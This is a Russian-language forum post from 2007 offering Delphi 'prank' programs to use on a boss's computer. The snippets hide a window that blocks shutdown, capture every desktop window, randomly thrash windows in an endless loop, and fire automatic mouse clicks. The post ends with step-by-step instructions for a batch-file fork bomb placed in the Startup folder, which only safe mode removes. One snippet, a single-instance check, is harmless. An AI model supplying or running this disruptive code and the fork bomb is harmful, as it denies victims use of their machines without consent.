Прикольные программы на Delphi

Kostia

Дата: Вторник, 11.12.2007, 06:10 | Сообщение # 1

Программист

Группа: Администраторы

Сообщений: 77

Репутация: 2

Статус: Offline

Я расскажу как подшутить над своим боссом, как заставить мышь летать по экрану и тыкать куда попало, научу как устроить полный кавардак на рабочем столе.
Читайте, если не хотите пропустить веселье! biggrin

Добавлено (10.12.2007, 14:23)
---------------------------------------------
Самый простой прико! Комп не выключается. wacko

Code

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
   CanClose:=false;  // окно не закрывается
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
   // прячем от глаз пользователя
   ShowWindow(Handle, SW_HIDE);
   ShowWindow(Application.Handle, SW_HIDE);
end;

Поясняю: при выключении крмпа, винда шлет всем окнам сообщение, что пора закрываться, а наша программа не хочет этого делать и игнорирунт сообщения винды и комп не выключается.

Добавлено (10.12.2007, 14:56)
---------------------------------------------
Винда внутри окна! biggrin
Просто до нельзя.

Code

function EnumWindowsProc(h: hwnd; lparam: Integer): BOOL; stdcall;
begin
   if IsWindowVisible(h) then
     SetParent(h, Form1.Handle);
   Result := true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
   EnumWindows(@EnumWindowsProc, 0);
end;

Поясняю: функция EnumWindowsProc перебирает все активные и устанавливает для них родительским окном наше окно.
Примечание: Рабочий стол, кнопка пуск, мышь... - это тоже окна!

Добавлено (10.12.2007, 15:18)
---------------------------------------------
Кавардак на Рабочем столе! wacko
Окна, то будут сворачиваться, то разворачиваться, все будет мельтешить...

Code

function EnumWindowsProc(h: hwnd; lparam: Integer): BOOL; stdcall;
begin
   if IsWindowVisible(h) then
     if random(10) = 4 then
       SetForegroundWindow(h)
     else
       if random(10) = 4 then
         ShowWindow(h, SW_MINIMIZE)
       else
         if random(10) = 4 then
           ShowWindow(h, SW_MAXIMIZE);
   Result := true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   repeat
     EnumWindows(@EnumWindowsProc, 0);
   until 2=3;
end;

Поясняю: функция EnumWindowsProc перебирает все активные и посылает случайным образом сообщения окнам.

Добавлено (10.12.2007, 15:28)
---------------------------------------------
Тыкнуть мышью, куда захочу!

Code

var
   pPoint: TPoint;
   hPointWnd: HWnd;
begin
   pPoint.X := 15;
   pPoint.Y := Screen.Height-20;
   SetCursorPos(pPoint.X, pPoint.Y);
   hPointWnd := WindowFromPoint(pPoint);
   SendMessage(hPointWnd, WM_LBUTTONDOWN, MK_LBUTTON, MAKELONG(1, 1));
   SendMessage(hPointWnd, WM_LBUTTONUP, 0, MAKELONG(0, 0));
end;

Совет: вставьте этот код в таймер с интервалом 1! Прикольно получится.

Добавлено (11.12.2007, 06:01)
---------------------------------------------
Блокируем запуск наскольких копий вашей программы!

Code

procedure TForm1.FormCreate(Sender: TObject);
var
   wnd : hwnd;
   buff : array[0.. 127] of char;
begin
   wnd := getwindow(handle, gw_hwndfirst);
   while wnd <> 0 do
   begin
     if (wnd <> application.handle) and (getwindow(wnd, gw_owner) = 0)then
     begin
       getwindowtext (wnd, buff, sizeof (buff ));
       if strpas (buff) = application.title then
       begin
         messagedlg('Приложение уже запущено!', mtwarning, [mbok], 0);
         halt;
       end;
      end;
     wnd := getwindow (wnd, gw_hwndnext);
   end;
end;

Добавлено (11.12.2007, 06:10)
---------------------------------------------
Ботарейка! Это простой, но смешной прикол!
1.Создайте на рабочем столе текстовый документ
2.Задайте ему имя bot.txt
3.Впишите в него start bot
4.Сохраните и поменяйте расширение .txt на .bat
5.Создайте ярлык для это ботарейки в меню автозагрузка!
Совет: Избавиться от нее лучше через безопасный режим!

Сообщение отредактировал Kostia - Понедельник, 10.12.2007, 15:46